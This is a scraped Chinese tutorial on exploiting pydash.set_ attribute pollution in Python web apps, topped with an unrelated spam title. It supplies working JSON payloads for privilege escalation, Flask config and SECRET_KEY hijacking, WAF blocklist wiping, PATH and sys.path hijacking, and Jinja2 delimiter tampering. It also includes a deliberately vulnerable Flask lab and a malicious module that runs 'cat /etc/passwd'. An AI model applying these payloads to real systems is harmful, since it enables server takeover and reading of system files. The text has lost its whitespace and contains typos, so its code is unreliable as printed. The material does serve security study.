访问国外的网站服务器无法访问wordpress升级文章编辑
访问国外的网站服务器无法访问,wordpress升级文章编辑,wordpress防36kr,温州建设网站公司漏洞简介
Pydash 是著名的 JavaScript 库 Lodash 的 Python 移植版。它提供了一系列工具函数来处理数据。
它的核心漏洞点在于
pydash.set_(a,b,c)该函数允许用户通过字符串路径#xff08;Dot Notation#xff0c;如A.B.C#xff09;来设置嵌套对象或字典的值。
在旧版本的…漏洞简介Pydash是著名的 JavaScript 库Lodash的 Python 移植版。它提供了一系列工具函数来处理数据。它的核心漏洞点在于pydash.set_(a,b,c)该函数允许用户通过字符串路径Dot Notation如A.B.C来设置嵌套对象或字典的值。在旧版本的pydash6.0.0或者某些没有正确过滤的新版中它没有严格限制访问Python的魔术属性。这样攻击者就可以通过传入恶意的Key如__init__.__globals__从一个普通对象”跳出“当前作用域去修改全局变量、类属性甚至不仅影响当前请求还能持久化影响整个Web应用的运行状态。漏洞点原理这个漏洞点的函数的签名通常是这样的pydash.set_(obj,path,value)obj这是我们要修改的目标对象。obj有两种常见形态普通的字典Dict和自定义类的实例Instance。我们分别来看这两种形态在利用时的区别和特征。字典在现代Web开发中这是出现频率最高的obj形态。它通常来自用户上传的JSON数据或者是为了合并配置而创建的空字典。示例代码如下# 场景合并用户配置到默认配置defmerge_config(user_input):config{}#这就是 obj一个空字典# 或者# config {theme: dark, lang: en}# 漏洞发生地forkey,valueinuser_input.items():pydash.set_(config,key,value)虽然config只是一个字典但它也是Python的对象。如果我们利用它来跳出作用域我们不能直接用__init__因为在pydash对字典的处理逻辑中它会优先去找有没有一个叫__init__的key而不是去调用方法。我们通常需要先访问__class__跳出字典的键值对逻辑进入对象属性逻辑。例如__class__.__init__.__globals__.SECRET_KEY这样我们利用class从config这个字典中跳到dict类然后再利用init和globals获取全局属性。实例这是在 ORM如 SQLAlchemy或用户模型中常见的形态。开发者实例化了一个用户对象、文章对象或设置对象想通过通用函数来更新它的属性。示例代码如下classUser:def__init__(self):self.usernameguestself.is_adminFalseuserUser()# 这就是 obj一个实例对象# 场景更新用户信息# 开发者想实现输入 username 改名输入 is_admin (如果未过滤) 提权pydash.set_(user,user_input_key,user_input_value)这种场景下的利用非常方便因为实例对象的方法直接挂载在对象属性上。我们可以直接从init开始往下走利用__init__.__globals__.SECRET_KEY这样就可以直接获取全局属性。path这是从obj出发寻找最终要修改属性的路径。通常支持点分法Dot Notation。这里也就是我们利用链的利用点。在obj确定修改对象后把利用链传入这个值。value这里就是我们想把目标修改成目标值的位置。利用类型一、属性篡改与逻辑绕过1.污染类属性这里我们利用Python类变量共享的特性修改所有实例的默认值。例如有一个用户注册或者登录的页面代码中有user.is_admin检查。我们就可以修改User类的is_admin属性导致后续实例化的所有用户变成管理员。{key:__class__.is_admin,value:true}这里同样注意如果obj是字典对象起点为class如果为实例对象起点为init。2.劫持Flask配置如果环境是一个Flask应用我们可以利用app.config控制逻辑。我们可以拿到SECRET_KEY拿到它后可以伪造session如果把session进行反序列化了这里也可以配合pickle反序列化来打{key:__init__.__globals__.app.config.SECRET_KEY,value:123}然后利用修改后的SECRET_KEY进行session伪造。也可以把debug修改为true泄露源码或者利用PIN码登录控制台进行rce。{key:__init__.__globals__.app.config.DEBUG,value:true}3.绕过WAF或改变内部变量如果环境中有用变量存储的黑名单检测或者使用了某个全局变量作为判断依据我们可以直接覆盖变量。__init__.__globals__.BLACKLIST将内名单列表清空__init__.__globals__.check_pass将密码检查函数的返回值修改为True二、RCE利用链部分环境代码中可能有潜在的rce漏洞点如果参数可控我们可以尝试利用pydash实现代码执行。1.污染os.environ劫持命令执行很多程序底层都会调用子进程如subprocess.popen, os.system。如果代码中使用了相对路径命令如git status而非/usr/bin/git status我们可以劫持PATH环境变量。例如我们可以上传一个shell到tmp目录下利用pydash修改shell到app目录下我们就可以通过浏览器访问来rce。{key:__init__.__globals__.os.environ.PATH,value:/tmp:/app}2.Jinja2模板全局变量污染如果题目使用了FlaskJinja2来渲染页面但是过滤SSTI关键字符或者没有可控的SSTI漏洞点我们可以利用Jinja2的模板变量来rce。app.jinja_env.globalsJinja2有一个app.jinja_env.globals字典这里面的函数/变量可以在所有模板中直接调用。我们可以往这里面塞入而已函数如os.popen。{key:__init__.__globals__.app.jinja_env.globals.os,value:os}直接传module对象通常不行因为JSON无法序列化module。这通常用于开启某些Jinja2的内置扩展或修改配置。app.jinja_env.variable_start_string但是我们还可以修改Jinja2的定界符。如果题目过滤了双大括号我们可以把定界符改成其他的如双中括号。{key:__init__.__globals__.app.jinja_env.variable_start_string,value:[[}app.jinja_env.variable_end_string对应的开头我们改了结尾也要改{key:__init__.__globals__.app.jinja_env.variable_end_string,value:]]}app.jinja_loader.searchpathapp下有个负责加载模板的jinja_loader对象的搜索路径属性searchpath。为了防止SSTIFlask通常不会允许render_template加载别的目录下的模板文件默认加载./template目录中的模板文件。如果我们可控模板渲染的模板路径就可以渲染任意文件执行SSTI或者进行任意文件读取。{key:__init__.__globals__.app.jinja_loader.searthpath,value:/}我们把模板渲染的默认路径修改成了根目录这样如果代码为returnrender_template(flag)Flask就会渲染根目录下的flag文件也就是/flag。3.Python模块导入劫持sys.path决定了Python在import库时去哪里找py文件。如果我们能在服务器上写入一个.py文件到tmp服务端会有import json或者import os这类的import操作那么我们就可以将/tmp插入到sys.path的最前面。{key:__init__.__globals__.sys.path,value:[/tmp,/usr/lib/python3.x/...]}那么我们可以把恶意python文件修改为源码中import的文件名上传到tmp目录下比如json.py那么下次代码执行import json的时候加载的就是/tmp/json.py可以直接rce。但是注意对于已经导入成功的模块如ossys单纯修改sys.path是无法实现劫持的。Python的导入机制有一个缓存优先原则。当我们执行import os时Python解释器会首先检查sys.module字典。如果os已经在里面了Python直接返回缓存中的对象而对于web应用这类模块在启动时就被加载了。只有当sys.module里找不到时才会遍历sys.path列表去磁盘上搜索.py文件。我们的目标就是寻找懒加载import写在函数内部的模块或者不存在的模块。漏洞演示下面这段代码可以用来演示所有类型的利用方法。app.pyimportosimportsysimportsubprocessimportpydashfromflaskimportFlask,request,render_template_string,jsonify appFlask(__name__)# 环境配置 UPLOAD_FOLDER/tmp/ctf_uploadsifnotos.path.exists(UPLOAD_FOLDER):os.makedirs(UPLOAD_FOLDER)# 模拟一个全局的 WAF 黑名单 (Type 1: 内部变量)# 如果这个列表里有内容某些操作会被阻止GLOBAL_WAF_BLOCKLIST[hack]classAppConfig:def__init__(self):# 正常配置self.debugFalse# (Type 1: Flask配置) 用于保护核心 flag 的开关app.config[SHOW_THE_FLAG]FalseclassUser:is_adminFalsedef__init__(self,name):self.namename# 核心漏洞点 app.route(/api/pollute,methods[POST])defpollute(): 万恶之源Pydash 原型链污染入口 try:datarequest.get_json()keydata.get(key)valuedata.get(value)# 这里的 obj 是一个普通的实例但足以撬动地球temp_userUser(temp)pydash.set_(temp_user,key,value)returnjsonify({msg:fPolluted{key}success})exceptExceptionase:returnjsonify({error:str(e)})# 辅助功能文件上传 app.route(/api/upload,methods[POST])defupload_file(): 用于配合 Type 2 攻击上传恶意脚本或模块 iffilenotinrequest.files:returnNo filefilerequest.files[file]iffile.filename:returnNo namefile.save(os.path.join(UPLOAD_FOLDER,file.filename))returnfFile saved to{UPLOAD_FOLDER}/{file.filename}# 关卡展示 # [关卡 1] 属性篡改 (Class Attribute Pollution)app.route(/level1/admin)deflevel1():# 每次请求产生新实例看似安全实则不然current_userUser(player)ifcurrent_user.is_admin:returnh3[Level 1 CLEAR] You are Admin now!/h3returnh3[Level 1 FAIL] Guest permission denied./h3,403# [关卡 2] 内部变量/WAF 绕过 (Internal Variable Bypass)app.route(/level2/waf)deflevel2():# 检查全局 WAF 列表# 目标清空这个列表iflen(GLOBAL_WAF_BLOCKLIST)0:returnfh3[Level 2 FAIL] WAF Active. Blocked items:{GLOBAL_WAF_BLOCKLIST}/h3,403returnh3[Level 2 CLEAR] WAF disabled!/h3# [关卡 3] Flask 配置劫持 (Config Hijacking)app.route(/level3/flag)deflevel3():# 目标修改 app.config[SHOW_THE_FLAG]ifapp.config.get(SHOW_THE_FLAG):returnh3[Level 3 CLEAR] Flag: CTF{CONFIG_HIJACKED}/h3returnh3[Level 3 FAIL] Flag is hidden in config./h3,403# [关卡 4] 环境变量劫持 (os.environ Injection)app.route(/level4/cmd)deflevel4():# 模拟系统调用一个名叫 sys_health_check 的工具# 实际上系统里没这个命令依赖 PATH 去找try:# 注意这里没有写绝对路径给了 PATH 劫持的机会# 我们利用 upload 上传一个叫 sys_health_check 的脚本到 /tmp/ctf_uploads# 然后污染 PATH 包含该目录outputsubprocess.check_output([sys_health_check],shellFalse,envos.environ)returnfh3[Level 4 CLEAR] Cmd Output:{output.decode()}/h3exceptExceptionase:returnfh3[Level 4 FAIL] Command failed:{str(e)}(PATH:{os.environ.get(PATH)})/h3# [关卡 5] Jinja2 全局变量/语法污染 (Jinja2 Globals/Delimiters)app.route(/level5/ssti)deflevel5():user_inputrequest.args.get(name,Guest)# 强力过滤禁止使用 {{ 和 }}甚至禁止 class, globals 等关键字if{{inuser_inputorclassinuser_input:returnHacker detected!# 目标污染 Jinja2 配置把定界符改为 [[ ]] 从而绕过检测templateHello user_inputreturnrender_template_string(template)# [关卡 6] Python 模块导入劫持 (Module Hijacking)app.route(/level6/import)deflevel6():try:# 尝试导入一个不存在的插件# 目标上传一个 malicious_plugin.py 到 /tmp/ctf_uploads# 然后污染 sys.pathimportmalicious_pluginreturnfh3[Level 6 CLEAR]{malicious_plugin.run()}/h3exceptImportError:returnfh3[Level 6 FAIL] Module malicious_plugin not found in{sys.path}/h3if__name____main__:app.run(host0.0.0.0,port5000,debugTrue)污染类属性目标修改User类的is_admin为Truepayload{key:__class__.is_admin,value:true}劫持Flask配置目标修改app.config[‘SHOW_THE_FLAG’]payload{key:__init__.__globals__.app.config.SHOW_THE_FLAG,value:true}绕过WAF目标清空内部全局变量GLOBAL_WAF_BLOCKLISTpayload{key:__init__.__globals__.GLOBAL_WAF_BLOCKLIST,value:[]}污染os.environ系统尝试执行sys_health_check但没有这个命令。我们造一个假的并把路径加到PATH里。创建一个文件名为sys_health_check的可执行文件。#!/bin/shechoHacked这里注意如果想执行这个文件需要有x权限这里不过多说明只是演示命令劫持。{key:__init__.__globals__.os.environ.PATH,value:/tmp/ctf_uploads:/usr/bin:/bin}访问/level4/cmd服务器会在/tmp/ctf_uploads找到sys_health_check并执行。Jinja2全局变量污染题目有一个SSTI漏洞点但是过滤了双大括号我们将variable_start_string改为双中括号。{key:__init__.__globals__.app.jinja_env.variable_start_string,value:[[}这样就可以用[[]]代替{{}}进行sstizhu’ruPython模块导入劫持import malicious_plugin失败我们上传它并把上传目录加入sys.path。首先本地创建恶意的malicious_plugin.py# malicious_plugin.pyimportosdefrun():returnos.popen(ls / cat /etc/passwd).read()调用题目中的/api/upload上传它。然后污染sys.path。{key:__init__.__globals__.sys.path,value:[/tmp/ctf_uploads]}访问/level6/importpython就会加载我们的恶意脚本实现rce。